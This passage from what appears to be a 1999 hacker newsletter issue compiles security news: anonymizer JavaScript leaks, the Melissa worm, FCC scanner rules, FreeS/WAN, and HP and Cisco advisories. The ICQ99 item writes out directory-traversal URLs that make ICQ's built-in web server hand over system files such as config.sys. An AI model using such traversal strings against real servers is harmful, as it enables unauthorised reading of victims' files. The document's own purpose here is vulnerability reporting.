each character, each glimpse into the world brings me that much closer to what i seek. to what we all seek in this web of masks, identity. phiregod liquidphire@hotmail.com forgive me for any and all errors. _______________________________________________________________ Get Free Email and Do More On The Web. Visit http://www.msn.com ================================================================ @HWA 02.0 From the editor. ~~~~~~~~~~~~~~~~ #include #include #include main() { printf ("Read commented source!\n\n"); /* *Well this is issue #14 * * "have at it" * * * - Ed * * */ printf ("EoF.\n"); } Congrats, thanks, articles, news submissions and kudos to us at the main address: hwa@press.usmc.net complaints and all nastygrams and mailbombs can go to /dev/nul nukes, synfloods and papasmurfs to 127.0.0.1, private mail to cruciphux@dok.org danke. C*:. @HWA 03.0 Holes Found in Multiple Anonymiser Packages ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Via HNN http://www.hackernews.com/ contributed to HNN by Seraphic Artifex An article posted to alt.comp.virus last Sunday claims that most of the Web Anonymiser programs that are currently available have serious security flaws and may not really be protecting your privacy as claimed. The post covers four of the most popular internet anonymising services Anonymizer, Bell Labs, Naval Research Laboratory, and Aixs. The post claims that these methods of protecting your privacy have two inherent flaws. One is using JavaScript to pull IP addresses, the second is to redirect the browser to another web page and thereby removing the anonymising features by bypassing the proxy. http://www.anonymizer.com http://www.bell-labs.com/project/lpwa http://www.onion-router.net http://aixs.net/aixs/ Security Holes in Web Anonymizing Services - Original Post From: "Richard M. Smith" Newsgroups: alt.comp.virus Subject: Security holes in Web anonymizing services Date: Sun, 11 Apr 1999 19:12:20 -0400 Hello, I found very serious security holes in all of the major anonymous Web surfing services (Anonymizer, Aixs, LPWA, etc.). These security holes allow a Web site to obtain information about users that the anonymizing services are suppose to be hiding. This message provides complete details of the problem and offers a simple work-around for users until the security holes are fixed. The April 8th issue of the New York Times has an article by Peter H. Lewis in the Circuits section that describes various types of services that allow people to anonymously surf the Web. The article is entitled "Internet Hide and Seek" and is available at the NY Times Web site: http://www.nytimes.com/library/tech/99/04/circuits/articles/08pete.html (Note, this article can only viewed if you have a free NY Times Web account.) The three services described in the article are: Anonymizer (http://www.anonymizer.com) Bell Labs (http://www.bell-labs.com/project/lpwa) Naval Research Laboratory (http://www.onion-router.net) In addition, I found a pointer to fourth service in a security newsgroup: Aixs (http://aixs.net/aixs/) The best known of these services is the Anonymizer at www.anonymizer.com. However all four services basically work in the same manner. They are intended to hide information from a Web site when visited by a user. The services prevent the Web site from seeing the IP address, host computer name, and cookies of a user. All the services act as proxies fetching pages from Web sites instead of users going directly to Web sites. The services make the promise that they don't pass private information along to Web sites. They also do no logging of Web sites that have been visited. After reading the article, I was curious to find out how well each of these services worked. In particular, I wanted to know if it would be possible for a Web site to defeat any of these systems. Unfortunately, with less than an hour's worth of work, I was able to get all four systems to fail when using Netscape 4.5. The most alarming failures occurred with the Anonymizer and Aixs systems. With the same small HTML page I was able to quietly turn off the anonymzing feature in both services. Once this page runs, it quickly redirects to a regular Web page of the Web site. Because the browser is no longer in anonymous mode, IP addresses and cookies are again sent from the user's browser to all Web servers. This security hole exists because both services fail to properly strip out embedded JavaScript code in all cases from HTML pages. With the Bell Labs and NRL systems I found a different failure. With a simple JavaScript expression I was able to query the IP address and host name of the browser computer. The query was done by calling the Java InetAddress class using the LiveConnect feature of Netscape Navigator. Once JavaScript has this information, it can easily be transmitted it back to a Web server as part of a URL. A demo on the use of Java InetAddress class to fetch the browser IP address and host name can be found at: http://www.tiac.net/users/smiths/js/livecon/index.htm If you are a user of any these services, I highly recommend that you turn off JavaScript, Java, and ActiveX controls in your browser before surfing the Web. This simple precaution will prevent any leaks of your IP address or cookies. I will be notifying all 4 vendors about these security holes and hopefully this same recommendation will be given to all users. If you have any questions or comments, please send them via Email. Richard M. Smith smiths@tiac.net --- HNN contacted Zero-Knowledge Systems, the only company _not_ mentioned in the above advisory, and they had this to say... Re: JavaScript Querying for IP Tweaking JavaScript to pull IP addresses is no different than creating a virus. Anything in the application layer requires much more effort to scan for malicious content. Freedom scans all content, ensuring that a user's IP address cannot leave the TCPIP stack unanonymized, whether JavaScript requests it or not. However, like a virus, people can always design around systems so the real challenge for Zero-Knowledge is to catch these attempts and correct them. Re: Turning Off the "Anonymizing" Feature Redirecting a user to another web page and thus moving the browser into a "non-anonymous" mode is not an issue with Freedom. Working at the driver level, Freedom is application independent and therefore does not rely on running your browser through an anonymizing proxy. Zero-Knowledge Systems http://www.zks.net/ Wired magazine comes up with an article on the subject. Wired http://www.wired.com/news/news/technology/story/19091.html Anonymous Web Surfing? Uh-Uh by Chris Oakes 2:25 p.m. 13.Apr.99.PDT People who think they're cruising the Web in a stealth vehicle may find that their license plates are still showing. "Anonymizer" services admit that their attempts to protect individual Web identities aren't bulletproof, but say that browsing technologies should share the blame. Programmer Richard Smith, who has a history of poking holes in supposedly secure software programs, tested four anonymizer Web services and came away unimpressed. On Monday, Smith said that results revealed a variety of data leaks, causing him to worry that users might browse with a false sense of security. "I was surprised that companies who are in the computer security business have systems that are so easy to break," he said. "Even more surprising is that four vendors had a problem, not just one." The leaks provide clues to a user's identification, such as a numerical Internet, or IP, address. "I found very serious security holes in all of the major anonymous Web surfing services," Smith said. "These security holes allow a Web site to obtain information about users that the anonymizing services are supposed to be hiding." Representatives of the services acknowledge that security lapses occur, but argue that the browsing software is as much to blame as they are. They're quick to add that they patch holes when they can. Smith tested the Anonymizer, Aixs, the Lucent Personalized Web Assistant, and a US Navy-sponsored research project called the Onion Routing service. Although the characteristics of each service vary, they primarily use data-stripping and proxy-masking techniques to conceal key data that browser software can leave behind. The Anonymizer recently announced an anonymous forwarding service to help safeguard the identity of those filing unofficial and uncensored email reports from the fighting in Kosovo. The main purpose of all four services, though, is to keep a user's identity safe from the prying eyes of Web-site operators by preventing them from obtaining an IP address, a host computer's name, or browser cookies that tip off a return visit to a site. To hide these details, most services act as a kind of Web waystation between browsers and sites. The anonymizing services retrieve Web pages and deliver them to users instead of users fetching them directly. An operator at one service says that the weaknesses Smith points out are not entirely the fault of the anonymizer. Flaws in the software must take some blame, too. Using a test HTML page containing simple JavaScript code -- which could be posted on a site seeking to sniff out a user's identity -- Smith was able to quietly turn off the anonymizing feature in the Anonymizer and Aixs systems. No longer anonymous, the user's browser will resume the delivery of IP addresses and cookies to a Web site. Smith says that's due to the services failing to consistently filter embedded JavaScript code from a site's HTML code. Anonymizer CEO Lance Cottrell said that the company is responding to Smith's alert. But he said that to exploit the vulnerability, a site would have to be actively seeking to do so. "In any case, being bounced out of the Anonymizer would only show that the person had been there, but would not allow correlation with any postings," Cottrell said, adding that no anonymizer system can promise perfectly sealed identity. "The systems we are working with are simply too flexible, and allow things to be done in too many ways, for security to be perfect. We try to anticipate all the loopholes we can, then act like lightning when a unforeseen hole is reported." Attempts to reach representatives at the Aixs service were unsuccessful. With the Lucent Personalized Web Assistant and Onion Routing service, Smith found a different type of problem. "With a simple JavaScript expression, I was able to query the IP address and host name of the browser computer." Once JavaScript has this information, he said it can easily be transmitted it back to a Web server as part of a URL. He said that the same tests run with Internet Explorer 4.0 did not produce the same vulnerabilities. Jeremey Barrett, an engineer for the Onion Routing System, said that the problem lies with the browsers, not with anonymizer services like his. Browsers, he said, will surrender a user's IP address to sites that request it with JavaScript or ActiveX code. Browser manufacturers have released patches periodically as issues surrounding the acknowledged risks of executing JavaScript and ActiveX code have surfaced. "The only way to prevent this, regardless of the anonymizing system used, is to filter out the JavaScript code using some form of proxy," said Barrett. He also said that Onion Routing is not simply an anonymizer meant to keep an individual site from knowing who's visiting. "Rather, it's meant to prevent anyone else from knowing that you are talking to a particular Web server." "For example, you might log into your bank's Web site over the Onion Routing system. You would very definitely want the bank to know who you were, but you might not want anyone to know you were talking to your bank." For airtight Web browsing, any feature beyond basic HTML would have to be turned off in the browser; that's the nature of the approach taken by the Anonymizer as it strips out such code. Smith would like to see any anonymizer service provide both the proxy and the standard anonymizing service that strips data from a user's browsing trail. Meanwhile, anonymizing services should warn their users and fix the bugs. "Netscape should fix how it handles Java so that it doesn't leak people's IP address. This bug does not exist in IE4," Smith said. He reported the problem to Netscape last September, but said that the company still hasn't provided a fix. @HWA 04.0 Some musings on the Melissa 'virus' by WHiTe VaMPiRe ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The Melissa "Virus" First of all, Melissa is not really a virus, regardless of what the media portrays it as. It should be considered a worm. What is the deal with mainstream media hyping all these so-called "viruses"? Happy99.exe, and Melissa, are some of the more recent ones. The only reason these "viruses" propagate is due to a person's ignorance. Do not run programs that you are unaware of what they are. That simple. Then this random Joe Blow is out on $100,000 dollar bond due to writing some macro in Word. At the most he did was spam, and maybe commit some sort of fraud with America Online. That evil person. Lets jail him for 40 years! (If I remember correctly that is the maximum sentance for his "crime".) When rapists are getting out in less than 20. That makes total sense. I typically ignore things such as this. I knew very little about Happy99.exe until I had a relative call up requesting my assistance, once I looked into it I was wondering what the hell was going on. Things like this should not even be circulating in the first place. I must say I feel rather sorry for the person who wrote Melissa. His actions may have not been in the best taste, but the harsh way he is being delt with is a tad over the line. I have yet to figure out why virii such as CIH, et cetera, are overlooked yet Happy99.exe gets more news coverage than OJ Simpson. Maybe some indirect media bias, or a "real" virus is not as accessible to the common computer user. I am not one to claim to know. Regards, -WHiTe VaMPiRe\Rem- @HWA 05.0 So much for your radio hobby ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ April 9, 1999, 13:47 Author: WHiTe VaMPiRe As reported by HNN... FCC has made some Amendments to Parts 2 and 15 of the "Commissions Rules to Further Ensure That Scanning Receivers Do Not Receive Cellular Radio Signals", "Specifically, we adopt rules that require scanning receivers to include adequate filtering so that they do not pick up Cellular Service transmissions even when tuned to frequencies outside those allocated to the Cellular Service." This could potentially ban the entire radio spectrum depending on interpretation. Starting June 1, 1999 we will see this label on every new scanner: WARNING: MODIFICATION OF THIS DEVICE TO RECEIVE CELLULAR RADIOTELEPHONE SERVICE SIGNALS IS PROHIBITED UNDER FCC RULES AND FEDERAL LAW. It will soon be illegal to import and manufacture scanners and frequency converter kits that are cable of listening to the cell transmissions (this includes the allotted frequencies AND cell images). Manufacturers are required to design their scanners so that if they are modified to receive cell transmissions they will be rendered inoperable. Regardless of the date of manufacture, it will soon be against the law to modify a scanner to listen to cell transmissions. Any modification of a scanner that changes it's operating characteristics voids the equipment certification. Interesting how this has become a problem of the very poor scanner and radio industry as opposed to forcing the very very rich cellular telephone industry to create more secure phones. These new laws will not prevent people (or the government) from intercepting your personal cellular communications as more secure phones might. These laws will only make criminals out of thousands of otherwise law abiding citizens. HNN also has a new topic in their Buffer Overflow section written by Brian Oblibion regarding "why this is a bad thing". (Most of this was composed by HNN. We at Project Gamma found their article to be straight to the point, so why rehash good news. Please visit HNN, excellent site.) Check out Brian Oblivion's article on this topic in Buffer Overflow on HNN http://www.hackernews.com/orig/scanner.html link @HWA 06.0 ICQ99 Vulnerabilities still with us ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Via Project Gamma www.projectgamma.com ICQ Vulnerabilities April 8, 1999, 22:11 Author: WHiTe VaMPiRe Ever wonder what that little house was next a person's nick on your ICQ list? Well, that means that user is running ICQ's pseudo "httpd". This was a "feature" included with ICQ 99a. This "feature" has several vulnerabilities. The first being, if you connect to the httpd (port 80) and send an invalid command it causes ICQ to gpf (General Protection Fault). An example would be "quit". The second vulnerabilty being: When you are connected to ICQ and have the httpd enabled every request to http://members.icq.com/ will be redirected to your computer. Thus, exposing your IP. Nevertheless only files in "/ICQ99/Hompage//personal" should be accessible. But a visitor can "climb up" the directory tree with dots, IE. http:///../bleah.html would present him with the file "bleah.html" in the "ICQ99" directory. With enough "dots" the person could get all the way to your root directory. But there is one barrier: the ICQ-pseudo-httpd only delivers files with the ".html" extension. To "fool" it you add ".html/" to the URL and the httpd sends every file you request. For example, "http:///../../../../../../config.sys" would not work, but "http:///.html/../../../../../../config.sys" would. This has been vulnerable in both ICQ 99a Build 1700 and 1547. Bugtraq contributed to this report. @HWA 07.0 "Hacking to become a crime" ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Forwarded From: William Knowles http://www.infotech.co.nz/current/nxhack.html April 12, 1999 Hacking to become a crime By AMANDA WELLS THE GOVERNMENT is to take long-awaited steps towards plugging electronic crime loopholes by proposing four new offences for the Crimes Act. It will become a criminal act to access a computer system with a dishonest purpose, to attempt to access a computer system for a dishonest purpose, to damage or interfere with a computer system, and to have unauthorised access to a computer. The proposed amendments would make hacking, or entering a system without permission, a crime, which it currently is not. Justice Minister Tony Ryall says that the amendments will be included in a Bill that addresses broader property law issues, to be introduced this Parliamentary session. Mr Ryall says the amendments target computer hackers and virus spreaders. "The Government intends to introduce a number of amendments to protect computer owners from unlawful access to their systems and dishonest use of the data and information stored on their computer systems." The Crimes Act was drafted in 1961 and predates crimes made possible by current computer technology. The minister has been considering a draft report covering hacking issues, and a 1998 Law Commission report, for several months. Hacking incidents involving Internet service providers the Internet Group (Ihug) and Telecom's Xtra late last year underscored the lack of legislation to deal with computer criminals. The man accused of hacking into Xtra, Andrew Garrett, last week pleaded not guilty to seven charges brought under current legislation. These charges include obtaining credit from Telecom without revealing that he was bankrupt, and using software documents for his own gain. The Law Commission's report was prompted by a Court of Appeal case that allowed a group of men to appeal convictions for dishonesty - because using a document to dishonestly make a bank credit an account is not a crime under current legislation. According to the minister, "recent Court of Appeal cases have highlighted the need to update the criminal law to take account of new technology and computer-related offending". On releasing the report in December, the Law Commission called for urgent action to plug the gap in criminal law. The commission has since set up an advisory committee to produce a discussion paper on computer misuse, which is scheduled for release at the end of this month. This report is due to contain recommendations for legislative reform that may be more wide-ranging than the minister's proposals. The Internet Society of New Zealand has called for action on electronic crime legislation, and lawyers who specialise in the information technology area also say new legislation is needed if computer criminals are to be successfully prosecuted. After last year's hacking incidents, Ihug initiated the formation of a lobby group to push for law reform. The Network of Internet Related Organisations (Niro) now has 50 member groups and a Web site due to go online this week. Members include Web designers and Internet companies, with most of the major Internet providers involved. Lawyer Chris Patterson represents Niro, and says the Web site will function as a discussion forum, where laws will be proposed and discussed. He says a special piece of electronic crime law is needed, rather than any amendments to existing law. "We need the equivalent to the American Computer Abuse and Fraud Act. We need to be able to say that there are certain things that are criminal acts, which the Crimes Act just won't have the capacity to deal with." -o- Subscribe: mail majordomo@repsec.com with "subscribe isn". Today's ISN Sponsor: Hacker News Network [www.hackernews.com] @HWA 08.0 Client Security: You've got armored trucks, but what about the pick pockets? - Chris Wysopal, The l0pht ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Forwarded From: Robert Hettinga The Digital Commerce Society of Boston Presents Chris Wysopal Hacker, L0pht Heavy Industries Client Security: You've got armored trucks, but what about the pick pockets? Tuesday, April 6th, 1999 12 - 2 PM The Downtown Harvard Club of Boston One Federal Street, Boston, MA Everyone in ecommerce these days is peddling better vaults for stores and stronger armored cars to deliver payments and merchandise. Does this really matter in an Internet world where you can pick the pocket of a consumer? Or more likely, to automate the pocket picking of a large number of consumers. Current authentication and purchasing systems rely on consumers using off the shelf operating systems such as windows 95/98. This is the operating system which Microsoft has admitted to having no security model. Current ecommerce client security is layering strong encryption on this bed of jello. What are some of the attacks that are being used? What technology can be used to overcome this problem? Chris Wysopal has a computer engineering degree from Rensselaer Polytechnic Institute, but almost all of what he knows about computer security he has learned from his exploration of computers as a hacker for the past 15 years. As an associate of L0pht Heavy Industries he has worked to expose the "snake oil" in the computer security industry and tried to make the general public aware of the just how fragile the internet and security products are. Last May he testified as a computer security expert before the Senate Governmental Affairs Committe and has appeared on several TV documentaries and news programs, including the BBC, CBC, ZDTV, FOX News, and The Jim Lehrer News Hour. This meeting of the Digital Commerce Society of Boston will be held on Tuesday, May 4, 1999, from 12pm - 2pm at the Downtown Branch of the Harvard Club of Boston, on One Federal Street. The price for lunch is $32.50. This price includes lunch, room rental, various A/V hardware, and the speakers' lunch. The Harvard Club *does* have dress code: jackets and ties for men (and no sneakers or jeans), and "appropriate business attire" (whatever that means), for women. Fair warning: since we purchase these luncheons in advance, we will be unable to refund the price of your lunch if the Club finds you in violation of the dress code. We need to receive a company check, or money order, (or, if we *really* know you, a personal check) payable to "The Harvard Club of Boston", by Saturday, May 1st, or you won't be on the list for lunch. Checks payable to anyone else but The Harvard Club of Boston will have to be sent back. Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston, Massachusetts, 02131. Again, they *must* be made payable to "The Harvard Club of Boston", in the amount of $32.50. Please include your e-mail address, so that we can send you a confirmation If anyone has questions, or has a problem with these arrangements (We've had to work with glacial A/P departments more than once, for instance), please let us know via e-mail, and we'll see if we can work something out. Upcoming speakers for DCSB are: June Ron Rivest MIT Deep Crack = MicroMint? July TBA We are actively searching for future speakers. If you are in Boston on the first Tuesday of the month, and you are a principal in digital commerce, and would like to make a presentation to the Society, please send e-mail to the DCSB Program Commmittee, care of Robert Hettinga, . For more information about the Digital Commerce Society of Boston, send "info dcsb" in the body of a message to . If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in the body of a message to . We look forward to seeing you there! Cheers, Robert Hettinga Moderator, The Digital Commerce Society of Boston ----------------- Robert A. Hettinga Philodox Financial Technology Evangelism 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' For help on using this list (especially unsubscribing), send a message to "dcsb-request@ai.mit.edu" with one line of text: "help". -o- Subscribe: mail majordomo@repsec.com with "subscribe isn". Today's ISN Sponsor: Hacker News Network [www.hackernews.com] @HWA 09.0 Strong privacy software for Linux makes worldwide debut ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Forwarded From: Sandy Harris Originally From: Henry Spencer Strong Internet Privacy Software Free for Linux Users Worldwide Toronto, ON, April 14, 1999 - The Linux FreeS/WAN project today released free software to protect the privacy of Internet communications using strong encryption codes. FreeS/WAN automatically encrypts data as it crosses the Internet, to prevent unauthorized people from receiving or modifying it. One ordinary PC per site runs this free software under Linux to become a secure gateway in a Virtual Private Network, without having to modify users' operating systems or application software. The project built and released the software outside the United States, avoiding US government regulations which prohibit good privacy protection. FreeS/WAN version 1.0 is available immediately for downloading at http://www.xs4all.nl/~freeswan/. "Today's FreeS/WAN release allows network administrators to build excellent secure gateways out of old PCs at no cost, or using a cheap new PC," said John Gilmore, the entrepreneur who instigated the project in 1996. "They can build operational experience with strong network encryption and protect their users' most important communications worldwide." "The software was written outside the United States, and we do not accept contributions from US citizens or residents, so that it can be freely published for use in every country," said Henry Spencer, who built the release in Toronto, Canada. "Similar products based in the US require hard-to-get government export licenses before they can be provided to non-US users, and can never be simply published on a Web site. Our product is freely available worldwide for immediate downloading, at no cost." FreeS/WAN provides privacy against both quiet eavesdropping (such as "packet sniffing") and active attempts to compromise communications (such as impersonating participating computers). Secure "tunnels" carry information safely across the Internet between locations such as a company's main office, distant sales offices, and roaming laptops. This protects the privacy and integrity of all information sent among those locations, including sensitive intra-company email, financial transactions such as mergers and acquisitions, business negotiations, personal medical records, privileged correspondence with lawyers, and information about crimes or civil rights violations. The software will be particularly useful to frequent wiretapping targets such as private companies competing with government-owned companies, civil rights groups and lawyers, opposition political parties, and dissidents. FreeS/WAN provides privacy for Internet packets using the proposed standard Internet Protocol Security (IPSEC) protocols. FreeS/WAN negotiates strong keys using Diffie-Hellman key agreement with 1024-bit keys, and encrypts each packet with 168-bit Triple-DES (3DES). A modern $500 PC can set up a tunnel in less than a second, and can encrypt 6 megabits of packets per second, easily handling the whole available bandwidth at the vast majority of Internet sites. In preliminary testing, FreeS/WAN interoperated with 3DES IPSEC products from OpenBSD, PGP, SSH, Cisco, Raptor, and Xedia. Since FreeS/WAN is distributed as source code, its innards are open to review by outside experts and sophisticated users, reducing the chance of undetected bugs or hidden security compromises. The software has been in development for several years. It has been funded by several philanthropists interested in increased privacy on the Internet, including John Gilmore, co-founder of the Electronic Frontier Foundation, a leading online civil rights group. Press contacts: Hugh Daniel, +1 408 353 8124, hugh@toad.com Henry Spencer, +1 416 690 6561, henry@spsystems.net * FreeS/WAN derives its name from S/WAN, which is a trademark of RSA Data Security, Inc; used by permission. -30- -o- Subscribe: mail majordomo@repsec.com with "subscribe isn". Today's ISN Sponsor: Hacker News Network [www.hackernews.com] @HWA 10.0 Security Search engine back online ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From: Security Search As many of you are aware, on Friday April 9 we were forced to take Security Search offline. This was due to the fact that our Internet Provider could not cope with Security Search's high volume of web site traffic. We have now moved to a new ISP and are back online. We thank everyone for their kind words, support and patience during the time we were offline. We are determined to return the favour by providing you with the most comprehensive source of IT security information and resources on the Internet. Security Search will continue to grow and offer new services and we are eager to receive your ideas on how to make it better. We hope that our "teething" problems are over and invite you to return to Security Search. Visit http://www.securitysearch.net Security Search The Internet Security Search Engine http://www.securitysearch.net/ -o- Subscribe: mail majordomo@repsec.com with "subscribe isn". Today's ISN Sponsor: Hacker News Network [www.hackernews.com] @HWA 11.0 Smart Card Forum privacy symposium ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Forwarded From: "Jay D. Dyson" Originally From: "Deborah Volk" The Smart Card Forum Announces Symposium for In-Depth Examination of Internet Security, Privacy "Enabling Privacy in a Virtual World" Features Experts in Industry, Government, Media and Consumer Advocacy WASHINGTON, D.C., April 6, 1999 -- The Smart Card Forum (SCF), a multi-industry organization working to accelerate the widespread acceptance of smart card technology, today announced an upcoming in-depth symposium that will focus on the critical issues surrounding privacy and security in the Internet era. The symposium, entitled "Enabling Privacy in a Virtual World," is open to the public and will be held on May 20, 1999 at the Monarch Hotel in Washington, D.C. The symposium will feature presentations and debate from a range of Internet experts - including representatives from major corporations involved in Internet commerce, leading developers of security technologies and electronic commerce products, as well as key government officials considering legislative, regulatory and policy issues. Educators, journalists, and consumer spokespeople concerned with issues of individual privacy in an increasingly virtual world will also add their perspective to the mix. "As companies and consumers converge on the Internet as the medium of choice for conducting business, the need to effectively and seamlessly address issues of security and privacy becomes increasingly urgent," said Donna Farmer, president and CEO of The Smart Card Forum. "In presenting 'Enabling Privacy in a Virtual World,' the Smart Card Forum continues its tradition of introducing and illuminating the leading issues of the day, and, as such, we expect media attention for the symposium to be strong." Some of the speakers that will participate in The Smart Card Forum's symposium include Representative Vern Ehlers; Marc Rotenberg of Electronic Privacy Information Center (EPIC); Dan Geer, Senior Strategist of CertCo; Jeff Kutler, editor of "American Banker;" Thomas A. Kalil, senior director, National Economic Council; Steve Ellis, vice president of Business Development of Intel; Steve Crocker, founder of CyberCash; Stewart Baker, partner of Steptoe & Johnson; Jerry Ashworth, editor of "Report on Smart Cards," Taher Elgamal of Kroll-O'Gara; and author Simson Garfinkel. The fee for non-members who register by April 15 is $325. After this date, the fee is $395 for non-members. Attendees may register online at www.smartcardforum.org or by calling (202) 530-5306. Member registration information and pricing structure is available on the Web site. Registration and continental breakfast will start at 7:30 a.m. on the day of the event and the program will begin at 8:00 a.m. and end with a reception for attendees from 5:30 p.m. to 7:30 p.m. About The Smart Card Forum The Smart Card Forum is a non-profit, multi-industry organization of nearly 200 members working to accelerate the widespread acceptance of multiple application smart card technology by bringing together, in an open forum, leading users and technologists from both the public and private sectors. The Smart Card Forum is the leading organization for education and awareness of topical issues associated with the use and adoption of smart card systems. For more information about The Smart Card Forum, log on to the organization's Web site at www.smartcardforum.org. (30) Thank you for your time, Sincerely, Deborah Volk -o- Subscribe: mail majordomo@repsec.com with "subscribe isn". Today's ISN Sponsor: Hacker News Network [www.hackernews.com] @HWA 12.0 HP advisory Security Vulnerability in MPEi/X debug ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Tue, 13 Apr 1999 04:37:00 -0700 (PDT) Subject: Security Bulletins Digest From: support_feedback@us-support.external.hp.com (HP Electronic Support Center ) To: security_info@us-support.external.hp.com Reply-To: support_feedback@us-support.external.hp.com Errors-To: support_errors@us-support.external.hp.com HP Support Information Digests =============================================================================== o HP Electronic Support Center World Wide Web Service --------------------------------------------------- If you subscribed through the HP Electronic Support Center and would like to be REMOVED from this mailing list, access the HP Electronic Support Center on the World Wide Web at: http://us-support.external.hp.com Login using your HP Electronic Support Center User ID and Password. Then select Support Information Digests. You may then unsubscribe from the appropriate digest. =============================================================================== Digest Name: Daily Security Bulletins Digest Created: Tue Apr 13 3:00:02 PDT 1999 Table of Contents: Document ID Title --------------- ----------- HPSBMP9904-006 Security Vulnerability in MPEi/X debug The documents are listed below. ------------------------------------------------------------------------------- Document ID: HPSBMP9904-006 Date Loaded: 19990412 Title: Security Vulnerability in MPEi/X debug ------------------------------------------------------------------------- HEWLETT-PACKARD COMPANY SECURITY BULLETIN: (MPE/iX) #006, 13 April 1999 ------------------------------------------------------------------------- The information in the following Security Bulletin should be acted upon as soon as possible. Hewlett-Packard Company will not be liable for any consequences to any customer resulting from customer's failure to fully implement instructions in this Security Bulletin as soon as possible. ------------------------------------------------------------------------- PROBLEM : Debug improperly handles commands. PLATFORM: All HP3000 systems running the MPE/iX 5.0 and MPE/iX 5.5 release of the Operating System only. DAMAGE : Users can gain increased privileges. SOLUTION: Apply the appropriate patches to correct the problem: For MPE/iX 5.0: MPEKXM1A For MPE/iX 5.5: MPEKXM1B --------------------------------------------------------------------- I. A. Background Under certain conditions, improper use of the debug utility in MPE/iX Operating system can result in users gaining increased privileges. B. Fixing the problem Obtain the patch from the HP Electronic Support Center (ESC) by following the instructions below. Installing the following patch will completely close this vulnerability. For all HP3000 platforms running MPE/iX 5.0: MPEKXM1A For all HP3000 platforms running MPE/iX 5.5: MPEKXM1B NOTE: The problem does not exist with the release MPE/iX 6.0. C. To subscribe to automatically receive future NEW HP Security Bulletins or access the HP Electronic Support Center, use your browser to get to our ESC web page at: http://us-support.external.hp.com (for non-European locations), or http://europe-support.external.hp.com (for Europe) Login with your user ID and password (or register for one). Remember to save the User ID/password assigned to you. Once you are in the Main Menu: To -subscribe- to future HP Security Bulletins, click on "Support Information Digests". To -review Security bulletins already released-, click on the "Search Technical Knowledge Database." To -retrieve patches-, click on "Individual Patches" and select appropriate release and locate with the patch identifier (ID). To -browse the HP Security Bulletin Archive-, select the link at the bottom of the page once in the "Support Information Digests". To -view the Security Patch Matrix-, (updated daily) which categorizes security patches by platform/OS release, and by bulletin topic, go to the archive (above) and follow the links. The security patch matrix is also available via anonymous ftp: us-ffs.external.hp.com or ~ftp/export/patches/hp-ux_patch_matrix D. To report new security vulnerabilities, send email to security-alert@hp.com Please encrypt any exploit information using the security-alert PGP key, available from your local key server, or by sending a message with a -subject- (not body) of 'get key' (no quotes) to security-alert@hp.com. Permission is granted for copying and circulating this Bulletin to Hewlett-Packard (HP) customers (or the Internet community) for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to HP, and provided such reproduction and/or distribution is performed for non-commercial purposes. Any other use of this information is prohibited. HP is not liable for any misuse of this information by any third party. ________________________________________________________________________ -----End of Document ID: HPSBMP9904-006-------------------------------------- ----- End forwarded message ----- -- Patrick Oonk - http://patrick.mypage.org/ - patrick@pine.nl Pine Internet B.V. Consultancy, installatie en beheer Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/ -- Pine Security Digest - http://security.pine.nl/ (Dutch) ---- Excuse of the day: the butane lighter causes the pincushioning @HWA 13.0 Cisco security advisory Input Access List Leakage with NAT ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Approved-By: aleph1@UNDERGROUND.ORG Message-ID: <19990413145711.9043.qmail@susan.cisco.com> Date: Tue, 13 Apr 1999 14:57:11 -0000 Reply-To: psirt@cisco.com Sender: Bugtraq List From: psirt@cisco.com Subject: Cisco security notice: Input Access List Leakage with NAT X-To: cisco@spot.colorado.edu, cust-security-announce@cisco.com, firewalls@greatcircle.com, first-info@first.org To: BUGTRAQ@netspace.org -----BEGIN PGP SIGNED MESSAGE----- Cisco IOS(R) Software Input Access List Leakage with NAT Revision 1.2 For release Tuesday, April 13, 1999, 08:00 AM US/Pacific Cisco internal use only until released on www.cisco.com ============================================================== Summary ======= A group of related software bugs (bug IDs given under "Software Versions and Fixes") create an undesired interaction between network address translation (NAT) and input access list processing in certain Cisco routers running 12.0-based versions of Cisco IOS software (including 12.0, 12.0S, and 12.0T, in all versions up to, but not including, 12.0(4), 12.0(4)S, and 12.0(4)T, as well as other 12.0 releases). Non-12.0 releases are not affected. This may cause input access list filters to "leak" packets in certain NAT configurations, creating a security exposure. Configurations without NAT are not affected. The failure does not happen at all times, and is less likely under laboratory conditions than in installed networks. This may cause administrators to believe that filtering is working when it is not. Software fixes are being created for this vulnerability, but are not yet available for all software versions (see the section on "Software Versions and Fixes"). This notice is being released before fixed software is universally available in order to enable affected Cisco customers to take immediate steps to protect themselves against this vulnerability. Who Is Affected =============== If you are using input access lists in conjunction with NAT on an interface of a Cisco IOS router running any 12.0-based version of Cisco IOS software earlier than the fixed versions listed in the table under "Software Versions and Fixes", then you are affected by this vulnerability. Non-12.0 releases are not affected. Both input access lists and NAT must be in use on the same router interface in order for this vulnerability to manifest itself. If your configuration file does not contain the command "ip access-group in" on the same interface with "ip nat inside" or "ip nat outside", then you are not affected. The majority of routers are not configured to use NAT, and are therefore not affected. NAT routers are most commonly found at Internet boundaries. Affected Devices - -------------- Cisco devices that run Cisco IOS software, and are affected by this vulnerability, include the following: * Cisco routers in the 17xx family are affected. * Cisco routers in the 26xx family are affected. * Cisco routers in the 36xx family are affected. * Cisco routers in the AS58xx family (not the AS52xx or 